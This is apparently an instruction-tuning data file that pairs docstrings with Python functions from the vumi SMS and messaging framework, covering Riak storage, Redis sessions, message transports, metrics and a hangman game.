[INST] Post-migrate function to be used with `vumi_model_migrator` to add batches
to stored events that don't have any.. [/INST] def add_batches_to_event(stored_event):
if stored_event.batches.keys():
returnValue(False)
outbound_messages = stored_event.manager.proxy(OutboundMessage)
msg_record = yield outbound_messages.load(stored_event.message.key)
if msg_record is not None:
for batch_id in msg_record.batches.keys():
stored_event.batches.add_key(batch_id)
returnValue(True)
[INST] Publishes a status if it is not a repeat of the previously
published status.. [/INST] def add_status(self, **kw):
if self.status_detect.check_status(**kw):
return self.publish_status(**kw)
return succeed(None)
[INST] Can be overridden by subclasses to do something when the
response time is high enough for the transport to be considered
non-functioning.. [/INST] def on_down_response_time(self, message_id, time):
pass
[INST] Can be overridden by subclasses to do something when the
response time is high enough for the transport to be considered
running in a degraded state.. [/INST] def on_degraded_response_time(self, message_id, time):
pass
[INST] Can be overridden by subclasses to do something when the
response time is low enough for the transport to be considered
running normally.. [/INST] def on_good_response_time(self, message_id, time):
pass
[INST] helper to check whether a config key is defined. Only used for
verifying dict fields in the new-style configs. [/INST] def assert_field(cfg, key):
if key not in cfg:
raise ConfigError("Expected '%s' field in config" % key)
[INST] Compute the number of worker instances running on each host.. [/INST] def _compute_host_info(self, instances):
counts = {}
for ins in instances:
counts[ins.hostname] = 0
for ins in instances:
counts[ins.hostname] = counts[ins.hostname] + 1
return counts
[INST] Verify whether enough workers checked in.
Make sure to call snapshot() before running this method. [/INST] def audit(self, storage):
count = len(self._instances)
if (count >= self.min_procs) and (self.procs_count < self.min_procs):
yield storage.delete_worker_issue(self.worker_id)
if count < self.min_procs:
issue = WorkerIssue("min-procs-fail", time.time(), count)
yield storage.open_or_update_issue(self.worker_id, issue)
self.procs_count = count
[INST] This method must be run before any diagnostic audit and analyses
What it does is clear the instances_active set in preparation for
all the instances which will check-in in the next interval.
All diagnostics are based on the _instances_active set, which
holds all the instances which checked-in the previous interval.. [/INST] def snapshot(self):
self._instances = self._instances_active
self._instances_active = set()
[INST] Parse configuration and populate in-memory state. [/INST] def parse_config(self, config):
systems = []
workers = {}
for sys in config.values():
assert_field(sys, 'workers')
assert_field(sys, 'system_id')
system_id = sys['system_id']
system_workers = []
for wkr_entry in sys['workers'].values():
assert_field(wkr_entry, 'name')
assert_field(wkr_entry, 'min_procs')
worker_name = wkr_entry['name']
min_procs = wkr_entry['min_procs']
wkr = Worker(system_id,
worker_name,
min_procs)
workers[wkr.worker_id] = wkr
system_workers.append(wkr)
systems.append(System(system_id, system_id, system_workers))
return systems, workers
[INST] Iterate over worker instance sets and check to see whether any have not
checked-in on time.
We call snapshot() first, since the execution of tasks here is
interleaved with the processing of worker heartbeat messages.. [/INST] def _periodic_task(self):
for wkr in self._workers.values():
wkr.snapshot()
for wkr in self._workers.values():
yield wkr.audit(self._storage)
yield self._sync_to_storage()
[INST] Create a timer task to check for missing worker. [/INST] def _start_task(self):
self._task = LoopingCall(self._periodic_task)
self._task_done = self._task.start(self.deadline, now=False)
errfn = lambda failure: log.err(failure,
"Heartbeat verify: timer task died")
self._task_done.addErrback(errfn)
[INST] Find vumi message ids associated with SMPP sequence numbers.. [/INST] def lookup_message_ids(self, service, seq_nums):
lookup_func = service.message_stash.get_sequence_number_message_id
return gatherResults([lookup_func(seq_num) for seq_num in seq_nums])
[INST] Clean-up of setup done in setup_application should happen here.. [/INST] def teardown_application(self):
pass
[INST] Respond to a new session.
Defaults to calling consume_user_message.. [/INST] def new_session(self, message):
return self.consume_user_message(message)
[INST] Close a session.
The .reply_to() method should not be called when the session is closed.. [/INST] def close_session(self, message):
pass
[INST] Check that endpoint is in the list of allowed endpoints.. [/INST] def check_endpoint(allowed_endpoints, endpoint):
if allowed_endpoints is None:
return
if endpoint is None:
endpoint = "default"
if endpoint not in allowed_endpoints:
raise InvalidEndpoint(
"Endpoint %r not defined in list of allowed endpoints %r"
% (endpoint, allowed_endpoints))
[INST] Make an AST node with the relevant bits attached.. [/INST] def _mknode(cls, **kw):
node = cls()
node.lineno = 0
node.col_offset = 0
for k, v in kw.items():
setattr(node, k, v)
return node
[INST] Create a function that has a nice signature and calls out to ``func``.. [/INST] def make_function(name, func, args, vararg=None, kwarg=None, defaults=()):
dflts = [("default_%s" % i, d) for i, d in enumerate(defaults)]
a_args = [_param(a) for a in args]
a_defaults = [_load(k) for k, v in dflts]
c_args = [_load(a) for a in args[:len(args) - len(defaults)]]
c_keywords = [_kw(a) for a in args[len(args) - len(defaults):]]
call = Call(func=_load('func'), args=c_args, keywords=c_keywords,
starargs=(vararg and _load(vararg)),
kwargs=(kwarg and _load(kwarg)))
func_def = FunctionDef(
name=name, args=arguments(
args=a_args, vararg=vararg, kwarg=kwarg, defaults=a_defaults),
body=[Return(value=call)], decorator_list=[])
locs = {}
globs = dict(globals(), func=func, **dict(dflts))
eval(compile(Module(body=[func_def]), '', 'exec'), globs, locs)
return locs[name]
[INST] Fetch the next page of results.. [/INST] def next_page(self):
if not self.has_next_page():
return None
try:
result = self._index_page.next_page()
except RiakError as e:
raise VumiRiakError(e)
return type(self)(result)
[INST] Call a function that touches the network and wrap the result in this
class.. [/INST] def _call_and_wrap(self, func):
return type(self)(func())
[INST] Create an `SmsMessage` instance from an ElementTree element.. [/INST] def from_element(cls, root):
return cls(
message=gettext(root, 'message'),
sender_address=gettext(
root, 'senderAddress', parse=normalize_address),
service_activation_number=gettext(
root, 'smsServiceActivationNumber', parse=normalize_address),
timestamp=gettext(root, 'dateTime', parse=iso8601.parse_date))
[INST] Create a `DeliveryInformation` instance from an ElementTree element.. [/INST] def from_element(cls, root):
try:
delivery_status = gettext(
root, 'deliveryStatus', parse=DeliveryStatus.lookupByName)
except ValueError, e:
raise ValueError(
'No such delivery status enumeration value: %r' % (str(e),))
else:
return cls(
address=gettext(root, 'address', parse=normalize_address),
delivery_status=delivery_status)
[INST] Process a SOAP request and convert any exceptions into SOAP faults.. [/INST] def render_POST(self, request):
def _writeResponse(response):
request.setHeader('Content-Type', 'text/xml; charset="utf-8"')
request.write(tostring(soap_envelope(response)))
request.finish()
def _handleSuccess(result):
request.setResponseCode(http.OK)
return result
def _handleError(f):
log.err(f, 'Failure processing SOAP request')
request.setResponseCode(http.INTERNAL_SERVER_ERROR)
faultcode = u'soapenv:Server'
if f.check(SoapFault):
return f.value.to_element()
return soap_fault(faultcode, f.getErrorMessage())
try:
tree = parse_document(request.content)
body, header = unwrap_soap_envelope(tree)
except:
d = fail()
else:
d = maybeDeferred(self.process, request, body, header)
d.addCallback(_handleSuccess)
d.addErrback(_handleError)
d.addCallback(_writeResponse)
return NOT_DONE_YET
[INST] Process a received text message.. [/INST] def process_notifySmsReception(self, root, header, name):
linkid = None
if header is not None:
linkid = gettext(header, './/' + str(PARLAYX_COMMON_NS.linkid))
correlator = gettext(root, NOTIFICATION_NS.correlator)
message = SmsMessage.from_element(
elemfind(root, NOTIFICATION_NS.message))
d = maybeDeferred(
self.callback_message_received, correlator, linkid, message)
d.addCallback(
lambda ignored: NOTIFICATION_NS.notifySmsReceptionResponse())
return d
[INST] Process a text message delivery receipt.. [/INST] def process_notifySmsDeliveryReceipt(self, root, header, name):
correlator = gettext(root, NOTIFICATION_NS.correlator)
delivery_info = DeliveryInformation.from_element(
elemfind(root, NOTIFICATION_NS.deliveryStatus))
d = maybeDeferred(self.callback_message_delivered,
correlator, delivery_info.delivery_status.value)
d.addCallback(
lambda ignored: NOTIFICATION_NS.notifySmsDeliveryReceiptResponse())
return d
[INST] Periodically clean out old buckets and calculate aggregates.. [/INST] def check_buckets(self):
current_ts_key = self._ts_key(self._time() - self.lag) - 1
for ts_key in self.buckets.keys():
if ts_key <= self._last_ts_key:
log.err(DiscardedMetricError("Throwing way old metric data: %r"
% self.buckets[ts_key]))
del self.buckets[ts_key]
elif ts_key <= current_ts_key:
aggregates = []
ts = ts_key * self.bucket_size
items = self.buckets[ts_key].iteritems()
for metric_name, (agg_set, values) in items:
values = [v for t, v in sorted(values)]
for agg_name in agg_set:
agg_metric = "%s.%s" % (metric_name, agg_name)
agg_func = Aggregator.from_name(agg_name)
agg_value = agg_func(values)
aggregates.append((agg_metric, agg_value))
for agg_metric, agg_value in aggregates:
self.publisher.publish_aggregate(agg_metric, ts,
agg_value)
del self.buckets[ts_key]
self._last_ts_key = current_ts_key
[INST] Builds a request URL with the appropriate params.. [/INST] def make_request(self, path, qparams):
args = {
'messageid': TransportMessage.generate_id(),
'time': self.today.strftime('%Y.%m.%d %H:%M:%S'),
'sender': '0041791234567',
'destination': '9292',
'provider': 'provider',
'keyword': '',
'header': '',
'text': '',
'keyword': '',
}
args.update(qparams)
url = self.transport_url + path
return http_request_full(url, urlencode(args), {
'Content-Type': ['application/x-www-form-urlencoded'],
})
[INST] Invoke the canned response for the method name ``name`` and log the
invocation.. [/INST] def _invoke_response(self, name, args):
self.calls.append((name, args))
return self.responses[name]()
[INST] Find or create a hangman game for this player.
Then process the user's message.. [/INST] def consume_user_message(self, msg):
content = msg['content'].encode('utf-8') if msg['content'] else None
log.msg("User message: %s" % content)
text = msg['content']
if text is None:
reply = self.get_help()
else:
reply = self.process_message(text)
return self.reply_to(msg, reply)
[INST] Copy dynamic field values from old data to new data.. [/INST] def copy_dynamic_values(self, *dynamic_prefixes):
for prefix in dynamic_prefixes:
for key in self.old_data:
if key.startswith(prefix):
self.new_data[key] = self.old_data[key]
[INST] Add a new index value to new data.. [/INST] def add_index(self, index, value):
if index is None:
index = ''
else:
index = str(index)
if isinstance(value, unicode):
value = value.encode('utf-8')
self.new_index.setdefault(index, []).append(value)
[INST] Called when a field value changes.. [/INST] def _field_changed(self, changed_field_name):
already_notifying = bool(self._fields_changed)
if changed_field_name not in self._fields_changed:
self._fields_changed.append(changed_field_name)
if not already_notifying:
self._notify_fields_changed()
[INST] Save the object to Riak.. [/INST] def save(self):
return self.manager.store(self)
[INST] Delete the object from Riak.. [/INST] def delete(self):
return self.manager.delete(self)
[INST] Load an object from Riak.. [/INST] def load(cls, manager, key, result=None):
return manager.load(cls, key, result=result)
[INST] Load batches of objects for the given list of keys.. [/INST] def load_all_bunches(cls, manager, keys):
return manager.load_all_bunches(cls, keys)
[INST] Find object keys by index.. [/INST] def index_keys(cls, manager, field_name, value, end_value=None,
return_terms=None):
index_name, start_value, end_value = index_vals_for_field(
cls, field_name, value, end_value)
return manager.index_keys(
cls, index_name, start_value, end_value, return_terms=return_terms)
[INST] Find object keys by index, using pagination.. [/INST] def index_keys_page(cls, manager, field_name, value, end_value=None,
return_terms=None, max_results=None,
continuation=None):
index_name, start_value, end_value = index_vals_for_field(
cls, field_name, value, end_value)
return manager.index_keys_page(
cls, index_name, start_value, end_value, return_terms=return_terms,
max_results=max_results, continuation=continuation)
[INST] Finds objects in the index that match the regex patterns in query. [/INST] def index_match(cls, manager, query, field_name, value):
return manager.mr_from_field_match(cls, query, field_name, value)
[INST] Search for instances of this model matching keys/values.. [/INST] def search(cls, manager, **kw):
for k, value in kw.iteritems():
value = unicode(value)
value = value.replace('\\', '\\\\')
value = value.replace("'", "\\'")
kw[k] = value
query = " AND ".join("%s:'%s'" % (k, v) for k, v in kw.iteritems())
return cls.raw_search(manager, query)
[INST] Performs a raw riak search, does no inspection on the given query.. [/INST] def raw_search(cls, manager, query):
return manager.mr_from_search(cls, query)
[INST] Performs a real riak search, does no inspection on the given query.. [/INST] def real_search(cls, manager, query, rows=None, start=None):
return manager.real_search(cls, query, rows=rows, start=start)
[INST] Do a regex OR search across the keys found in a secondary index.. [/INST] def from_index_match(cls, mgr, model, query, index_name, start_value,
end_value=None):
mr = mgr.riak_map_reduce().index(
mgr.bucket_name(model), index_name, start_value, end_value).map(
"""
function(value, keyData, arg) {
/*
skip deleted values, might show up during a test
*/
var values = value.values.filter(function(val) {
return !val.metadata['X-Riak-Deleted'];
});
if(values.length) {
var data = JSON.parse(values[0].data);
for (j in arg) {
var query = arg[j];
var content = data[query.key];
var regex = RegExp(query.pattern, query.flags)
if(content && regex.test(content)) {
return [value.key];
}
}
}
return [];
}
""", {
'arg': query,
})
return cls(mgr, mr)
[INST] Construct a manager from a dictionary of options.. [/INST] def from_config(cls, config):
raise NotImplementedError("Sub-classes of Manager should implement"
" .from_config(...)")
[INST] Close the client underlying this manager instance, if necessary.. [/INST] def close_manager(self):
raise NotImplementedError("Sub-classes of Manager should implement"
" .close_manager(...)")
[INST] Load a model instance for the key from Riak.
If the key doesn't exist, this method should return None
instead of an instance of cls.. [/INST] def load(self, cls, key, result=None):
raise NotImplementedError("Sub-classes of Manager should implement"
" .load(...)")
[INST] Migrate a loaded riak_object to the latest schema version.
NOTE: This should only be called by subclasses.. [/INST] def _migrate_riak_object(self, modelcls, key, riak_object):
was_migrated = False
while riak_object.get_data() is not None:
data_version = riak_object.get_data().get('$VERSION', None)
if data_version == modelcls.VERSION:
obj = modelcls(self, key, _riak_object=riak_object)
obj.was_migrated = was_migrated
return obj
migrator = modelcls.MIGRATOR(modelcls, self, data_version)
riak_object = migrator(riak_object).get_riak_object()
was_migrated = True
return None
[INST] Migrate a riak_object to the required schema version before storing.
NOTE: This should only be called by subclasses.. [/INST] def _reverse_migrate_riak_object(self, modelobj):
riak_object = modelobj._riak_object
modelcls = type(modelobj)
model_name = "%s.%s" % (modelcls.__module__, modelcls.__name__)
store_version = self.store_versions.get(model_name, modelcls.VERSION)
data_version = riak_object.get_data().get('$VERSION', None)
while data_version != store_version:
migrator = modelcls.MIGRATOR(
modelcls, self, data_version, reverse=True)
riak_object = migrator(riak_object).get_riak_object()
data_version = riak_object.get_data().get('$VERSION', None)
return riak_object
[INST] Load the model instances for a batch of keys from Riak.
If a key doesn't exist, no object will be returned for it.. [/INST] def _load_multiple(self, cls, keys):
raise NotImplementedError("Sub-classes of Manager should implement"
" ._load_multiple(...)")
[INST] Load the model instances for a batch of keys from Riak.
If a key doesn't exist, no object will be returned for it.. [/INST] def _load_bunch_mapreduce(self, model, keys):
mr = self.mr_from_keys(model, keys)
mr._riak_mapreduce_obj.map(function="""
function (v) {
values = v.values.filter(function(val) {
return !val.metadata['X-Riak-Deleted'];
})
if (!values.length) {
return [];
}
return [[v.key, values[0]]]
}
""").filter_not_found()
return self.run_map_reduce(
mr._riak_mapreduce_obj, lambda mgr, obj: model.load(mgr, *obj))
[INST] Load the model instances for a batch of keys from Riak.
If a key doesn't exist, no object will be returned for it.. [/INST] def _load_bunch(self, model, keys):
assert len(keys) <= self.load_bunch_size
if not keys:
return []
if self.USE_MAPREDUCE_BUNCH_LOADING:
return self._load_bunch_mapreduce(model, keys)
else:
return self._load_multiple(model, keys)
[INST] Load batches of model instances for a list of keys from Riak.. [/INST] def load_all_bunches(self, model, keys):
while keys:
batch_keys = keys[:self.load_bunch_size]
keys = keys[self.load_bunch_size:]
yield self._load_bunch(model, batch_keys)
[INST] Run a map reduce instance and return the results mapped to
objects by the map_function.. [/INST] def run_map_reduce(self, mapreduce, mapper_func=None, reducer_func=None):
raise NotImplementedError("Sub-classes of Manager should implement"
" .run_map_reduce(...)")
[INST] Delete *ALL* keys in buckets whose names start buckets with
this manager's bucket prefix.
Use only in tests.. [/INST] def purge_all(self):
raise NotImplementedError("Sub-classes of Manager should implement"
" .purge_all()")
[INST] Create a worker factory, connect to AMQP and return the factory.
Return value is the AmqpFactory instance containing the worker.. [/INST] def create_worker(self, worker_class, config, timeout=30,
bindAddress=None):
return self.create_worker_by_class(
load_class_by_string(worker_class), config, timeout=timeout,
bindAddress=bindAddress)
[INST] Return a list of active user_ids and associated sessions. Loops over
known active_sessions, some of which might have auto expired.
Implements lazy garbage collection, for each entry it checks if
the user's session still exists, if not it is removed from the set.. [/INST] def active_sessions(self):
skey = self.r_key('active_sessions')
sessions_to_expire = []
for user_id in self.r_server.smembers(skey):
ukey = self.r_key('session', user_id)
if self.r_server.exists(ukey):
yield user_id, self.load_session(user_id)
else:
sessions_to_expire.append(user_id)
for user_ids in sessions_to_expire:
self.r_server.srem(skey, user_id)
[INST] Generate a keyname using this workers prefix. [/INST] def r_key(self, *args):
parts = [self.r_prefix]
parts.extend(args)
return ":".join(parts)
[INST] Schedule a session to timeout
Parameters
user_id : str
The user's id.
timeout : int
The number of seconds after which this session should expire. [/INST] def schedule_session_expiry(self, user_id, timeout):
ukey = self.r_key('session', user_id)
self.r_server.expire(ukey, timeout)
[INST] Create a new session using the given user_id. [/INST] def create_session(self, user_id, **kwargs):
defaults = {
'created_at': time.time()
}
defaults.update(kwargs)
self.save_session(user_id, defaults)
if self.max_session_length:
self.schedule_session_expiry(user_id, self.max_session_length)
return self.load_session(user_id)
[INST] Save a session
Parameters
user_id : str
The user's id.
session : dict
The session info, nested dictionaries are not supported. Any
values that are dictionaries are converted to strings by Redis.. [/INST] def save_session(self, user_id, session):
ukey = self.r_key('session', user_id)
for s_key, s_value in session.items():
self.r_server.hset(ukey, s_key, s_value)
skey = self.r_key('active_sessions')
self.r_server.sadd(skey, user_id)
return session
[INST] Construct a unique scheduled key.. [/INST] def scheduled_key(self):
timestamp = datetime.utcnow()
unique_id = uuid4().get_hex()
timestamp = timestamp.isoformat().split('.')[0]
return self.r_key(".".join(("scheduled", timestamp, unique_id)))
[INST] Return a list of active user_ids and associated sessions.
Queries redis for keys starting with the session key prefix. This is
O(n) over the total number of keys in redis, but this is still pretty
quick even for millions of keys. Try not to hit this too often, though.. [/INST] def active_sessions(self):
keys = yield self.redis.keys('session:*')
sessions = []
for user_id in [key.split(':', 1)[1] for key in keys]:
sessions.append((user_id, (yield self.load_session(user_id))))
returnValue(sessions)
[INST] Schedule a session to timeout
Parameters
user_id : str
The user's id.
timeout : int
The number of seconds after which this session should expire. [/INST] def schedule_session_expiry(self, user_id, timeout):
ukey = "%s:%s" % ('session', user_id)
return self.redis.expire(ukey, timeout)
[INST] Create a new session using the given user_id. [/INST] def create_session(self, user_id, **kwargs):
yield self.clear_session(user_id)
defaults = {
'created_at': time.time()
}
defaults.update(kwargs)
yield self.save_session(user_id, defaults)
if self.max_session_length:
yield self.schedule_session_expiry(user_id,
int(self.max_session_length))
returnValue((yield self.load_session(user_id)))
[INST] Save a session
Parameters
user_id : str
The user's id.
session : dict
The session info, nested dictionaries are not supported. Any
values that are dictionaries are converted to strings by Redis.. [/INST] def save_session(self, user_id, session):
ukey = "%s:%s" % ('session', user_id)
for s_key, s_value in session.items():
yield self.redis.hset(ukey, s_key, s_value)
returnValue(session)
[INST] Application-specific config validation happens in here.
Subclasses may override this method to perform extra config
validation.. [/INST] def validate_config(self):
pass
[INST] Create an ElementTree element.
The element tag name will be this qualified name's
`QualifiedName.text` value.. [/INST] def element(self, *children, **attrib):
return Element(self.text, *children, **attrib)
[INST] Add children to an element.. [/INST] def _add_children(self, elem, children):
for child in children:
self._handle_child(elem, child)
[INST] Set XML attributes on an element.. [/INST] def _set_attributes(self, elem, attrib):
for k, v in attrib.items():
elem.set(k, v)
[INST] Add text content to an element.. [/INST] def _add_text(self, elem, text):
if len(elem):
elem[-1] = (elem[-1].tail or '') + text
else:
elem.text = (elem.text or '') + text
[INST] Add a child element to a parent element.
Child elements can be any of the following.. [/INST] def _handle_child(self, parent, child):
if callable(child):
child = child()
t = self._typemap.get(type(child))
if t is None:
if etree.iselement(child):
parent.append(child)
return
raise TypeError('Unknown child type: %r' % (child,))
v = t(parent, child)
if v is not None:
self._handle_child(parent, v)
[INST] Split a fully qualified element name, in Clark's notation, into its URI and
local name components.. [/INST] def split_qualified(fqname):
if fqname and fqname[0] == '{':
return tuple(fqname[1:].split('}'))
return None, fqname
[INST] Convert an ElementTree element into a dictionary structure.
Text content is stored against a special key, ``#text``, unless the element
contains only text and no attributes.
Attributes are converted into dictionaries of the attribute name, prefixed
with ``@``, keyed against the attribute value, which are keyed against the
root element's name.
Child elements are recursively turned into dictionaries. Child elements
with the same name are coalesced into a ``list``.. [/INST] def element_to_dict(root):
d = {root.tag: {} if root.attrib else None}
children = root.getchildren()
if children:
dd = defaultdict(list)
for child_dict in map(element_to_dict, children):
for k, v in child_dict.iteritems():
dd[k].append(v)
d = {root.tag: dict((k, v[0] if len(v) == 1 else v)
for k, v in dd.iteritems())}
if root.attrib:
d[root.tag].update(
('@' + str(k), v) for k, v in root.attrib.iteritems())
if root.text:
text = root.text.strip()
if children or root.attrib:
if text:
d[root.tag]['#text'] = text
else:
d[root.tag] = text
return d
[INST] Clean-up of setup done in setup_transport should happen here.. [/INST] def teardown_transport(self):
pass
[INST] Publish a :class:`TransportUserMessage` message.
Some default parameters are handled, so subclasses don't have
to provide a lot of boilerplate.. [/INST] def publish_message(self, **kw):
kw.setdefault('transport_name', self.transport_name)
kw.setdefault('transport_metadata', {})
msg = TransportUserMessage(**kw)
return self.connectors[self.transport_name].publish_inbound(msg)
[INST] Publish a :class:`TransportEvent` message.
Some default parameters are handled, so subclasses don't have
to provide a lot of boilerplate.. [/INST] def publish_event(self, **kw):
kw.setdefault('transport_name', self.transport_name)
kw.setdefault('transport_metadata', {})
event = TransportEvent(**kw)
return self.connectors[self.transport_name].publish_event(event)
[INST] Helper method for publishing a status message.. [/INST] def publish_status(self, **kw):
msg = TransportStatus(**kw)
if self._should_publish_status:
conn = self.connectors[self.status_connector_name]
return conn.publish_status(msg)
else:
self.log.debug(
'Status publishing disabled for transport %r, ignoring '
'status %r' % (self.transport_name, msg))
return succeed(msg)
[INST] This must be overridden to read outbound messages and do the right
thing with them.. [/INST] def handle_outbound_message(self, message):
raise NotImplementedError()
[INST] Emulate an inbound message from SMSSync on an Android phone.. [/INST] def smssync_inbound(self, content, from_addr='123', to_addr='555',
timestamp=None, message_id='1', secret=None):
msginfo = self.default_msginfo()
if timestamp is None:
timestamp = datetime.datetime.utcnow()
if hasattr(timestamp, 'strftime'):
timestamp = timestamp.strftime("%m-%d-%y %H:%M")
if secret is None:
secret = msginfo.smssync_secret
params = {
'sent_to': to_addr,
'from': from_addr,
'message': content,
'sent_timestamp': timestamp,
'message_id': message_id,
'secret': secret,
}
return self.smssync_call(params, method='POST')
[INST] Return the game state as a dict.. [/INST] def state(self):
return {
'guesses': u"".join(sorted(self.guesses)),
'word': self.word,
'msg': self.msg,
}
[INST] Handle an user input string.
Parameters
message : unicode
Message received from user.. [/INST] def event(self, message):
message = message.lower()
if not message:
self.msg = u"Some input required please."
elif len(message) > 1:
self.msg = u"Single characters only please."
elif message == '0':
self.exit_code = self.DONE
self.msg = u"Game ended."
elif self.won():
self.exit_code = self.DONE_WANTS_NEW
elif message not in string.lowercase:
self.msg = u"Letters of the alphabet only please."
elif message in self.guesses:
self.msg = u"You've already guessed '%s'." % (message,)
else:
assert len(message) == 1
self.guesses.add(message)
log.msg("Message: %r, word: %r" % (message, self.word))
if message in self.word:
self.msg = u"Word contains at least one '%s'! :D" % (message,)
else:
self.msg = u"Word contains no '%s'. :(" % (message,)
if self.won():
self.msg = self.victory_message()
[INST] Fetch a game for the given user ID.. [/INST] def load_game(self, msisdn):
game_key = self.game_key(msisdn)
state = yield self.session_manager.load_session(game_key)
if state:
game = HangmanGame.from_state(state)
else:
game = None
returnValue(game)
[INST] Create a new game for the given user ID.. [/INST] def new_game(self, msisdn, random_word_url):
word = yield self.random_word(random_word_url)
word = word.strip().lower()
game = HangmanGame(word)
game_key = self.game_key(msisdn)
yield self.session_manager.create_session(game_key, **game.state())
returnValue(game)
[INST] Save the game state for the given game.. [/INST] def save_game(self, msisdn, game):
game_key = self.game_key(msisdn)
state = game.state()
return self.session_manager.save_session(game_key, state)
[INST] Find or create a hangman game for this player.
Then process the user's message.. [/INST] def consume_user_message(self, msg):
log.msg("User message: %s" % msg['content'])
user_id = msg.user()
config = yield self.get_config(msg)
game = yield self.load_game(user_id)
if game is None:
game = yield self.new_game(user_id, config.random_word_url)
if msg['content'] is None:
self.reply_to(msg, game.draw_board(), True)
return
message = msg['content'].strip()
game.event(message)
continue_session = True
if game.exit_code == game.DONE:
yield self.delete_game(user_id)
continue_session = False
elif game.exit_code == game.DONE_WANTS_NEW:
game = yield self.new_game(user_id, config.random_word_url)
else:
yield self.save_game(user_id, game)
self.reply_to(msg, game.draw_board(), continue_session)
[INST] Start the metric polling and publishing task.. [/INST] def start_polling(self):
self._task = LoopingCall(self.publish_metrics)
done = self._task.start(self._publish_interval, now=False)
done.addErrback(lambda failure: log.err(failure,
"MetricManager polling task died"))
[INST] Stop the metric polling and publishing task.. [/INST] def stop_polling(self):
if self._task:
if self._task.running:
self._task.stop()
self._task = None
[INST] Publish a single value for the given metric.. [/INST] def oneshot(self, metric, value):
self._oneshot_msgs.append(
(metric, [(int(time.time()), value)]))
[INST] Register a new metric object to be managed by this metric set.
A metric can be registered with only one metric set.. [/INST] def register(self, metric):
metric.manage(self)
self._metrics.append(metric)
if metric.name in self._metrics_lookup:
raise MetricRegistrationError("Duplicate metric name %s"
% metric.name)
self._metrics_lookup[metric.name] = metric
return metric
[INST] Start publishing metrics in a loop.. [/INST] def start(self, channel):
if self._publisher is not None:
raise RuntimeError("Publisher already present.")
self._publisher = MetricPublisher()
self._publisher.start(channel)
self.start_polling()
[INST] Called by :class:`MetricManager` when this metric is registered.. [/INST] def manage(self, manager):
if self._manager is not None:
raise MetricRegistrationError(
"Metric %s already registered with MetricManager with"
" prefix %s." % (self.name, self._manager.prefix))
self._manager = manager
[INST] Raise an exception if closed, otherwise return underlying client.. [/INST] def _client(self):
if self._closed:
raise VumiRiakError("Can't use closed Riak client.")
return self._raw_client
[INST] Purge all objects and buckets properties belonging to buckets with the
given prefix.
This operation should *ONLY* be used in tests.. [/INST] def _purge_all(self, bucket_prefix):
buckets = self._raw_client.get_buckets()
for bucket in buckets:
if bucket.name.startswith(bucket_prefix):
for key in bucket.get_keys():
obj = bucket.get(key)
obj.delete()
bucket.clear_properties()
if self._closed:
self.close()
[INST] Call a function that touches the network and wrap the result in this
class.. [/INST] def _call_and_wrap(self, func):
raise NotImplementedError("Subclasses must implement this.")
[INST] Migrate keys from `keys_list` until there are none left.
This method is expected to be called multiple times concurrently with
all instances sharing the same `keys_list`.. [/INST] def migrate_keys(self, _result, keys_list, dry_run):
while keys_list:
key = keys_list.pop(0)
yield self.migrate_key(key, dry_run)
[INST] Perform an index query to get all keys and migrate them.
If `continuation` is provided, it will be used as the starting point
for the query.. [/INST] def migrate_all_keys(self, continuation=None):
self.emit("Migrating ...")
emit_progress = lambda t: self.emit(
"%s object%s migrated." % (t, "" if t == 1 else "s"))
index_page = yield self.model.all_keys_page(
max_results=self.options["index-page-size"],
continuation=continuation)
yield self.migrate_pages(index_page, emit_progress)
[INST] Acquire a tag from the pool (returns None if no tags are avaliable).. [/INST] def jsonrpc_acquire_tag(self, pool, owner=None, reason=None):
d = self.tagpool.acquire_tag(pool, owner, reason)
return d
[INST] Acquire the specific tag (returns None if the tag is unavailable).. [/INST] def jsonrpc_acquire_specific_tag(self, tag, owner=None, reason=None):
d = self.tagpool.acquire_specific_tag(tag, owner, reason)
return d
[INST] Delete the given pool and all associated metadata and tags.
No tags from the pool may be inuse.. [/INST] def jsonrpc_purge_pool(self, pool):
return self.tagpool.purge_pool(pool)
[INST] Return a list of all available pools.. [/INST] def jsonrpc_list_pools(self):
d = self.tagpool.list_pools()
d.addCallback(list)
return d
[INST] Returns the owner of an acquired tag and why is was acquired.. [/INST] def jsonrpc_acquired_by(self, tag):
d = self.tagpool.acquired_by(tag)
d.addCallback(list)
return d
[INST] Encode a unicode_string in a specific encoding and return
the byte string.. [/INST] def encode(unicode_string, encoding, errors):
[INST] Decode a bytestring in a specific encoding and return the
unicode string. [/INST] def decode(byte_string, encoding, errors):
[INST] Create a `ParlayXClient` instance.. [/INST] def _create_client(self, config):
return ParlayXClient(
service_provider_service_id=config.service_provider_service_id,
service_provider_id=config.service_provider_id,
service_provider_password=config.service_provider_password,
short_code=config.short_code,
endpoint=config.notification_endpoint_uri,
send_uri=config.remote_send_uri,
notification_uri=config.remote_notification_uri)
[INST] Send a text message via the ParlayX client.. [/INST] def handle_outbound_message(self, message):
log.info('Sending SMS via ParlayX: %r' % (message.to_json(),))
transport_metadata = message.get('transport_metadata', {})
d = self._parlayx_client.send_sms(
message['to_addr'],
message['content'],
unique_correlator(message['message_id']),
transport_metadata.get('linkid'))
d.addErrback(self.handle_outbound_message_failure, message)
d.addCallback(
lambda requestIdentifier: self.publish_ack(
message['message_id'], requestIdentifier))
return d
[INST] Handle incoming text messages from `SmsNotificationService` callbacks.. [/INST] def handle_raw_inbound_message(self, correlator, linkid, inbound_message):
log.info('Receiving SMS via ParlayX: %r: %r' % (
correlator, inbound_message,))
message_id = extract_message_id(correlator)
return self.publish_message(
message_id=message_id,
content=inbound_message.message,
to_addr=inbound_message.service_activation_number,
from_addr=inbound_message.sender_address,
provider='parlayx',
transport_type=self.transport_type,
transport_metadata=dict(linkid=linkid))
[INST] Construct a unique message identifier from an existing message
identifier.
This is necessary for the cases where a ``TransportMessage`` needs to
be transmitted, since ParlayX wants unique identifiers for all sent
messages.. [/INST] def unique_correlator(message_id, _uuid=None):
if _uuid is None:
_uuid = uuid.uuid4()
return '%s:%s' % (message_id, _uuid)
[INST] Extract the Vumi message identifier from a ParlayX correlator.. [/INST] def extract_message_id(correlator):
return correlator.split(':', 1)[0]
[INST] Creates a dummy Vas2Nets request for testing our resources with. [/INST] def create_request(params={}, path='/', method='POST'):
request = DummyRequest(path)
request.method = method
request.args = params
return request
[INST] Create and store an outbound message.. [/INST] def _create_outbound(self, tag=("pool", "tag"), by_batch=False,
content='outbound foo'):
add_kw, batch_id = yield self._maybe_batch(tag, by_batch)
msg = self.msg_helper.make_outbound(content)
msg_id = msg['message_id']
yield self.store.add_outbound_message(msg, **add_kw)
returnValue((msg_id, msg, batch_id))
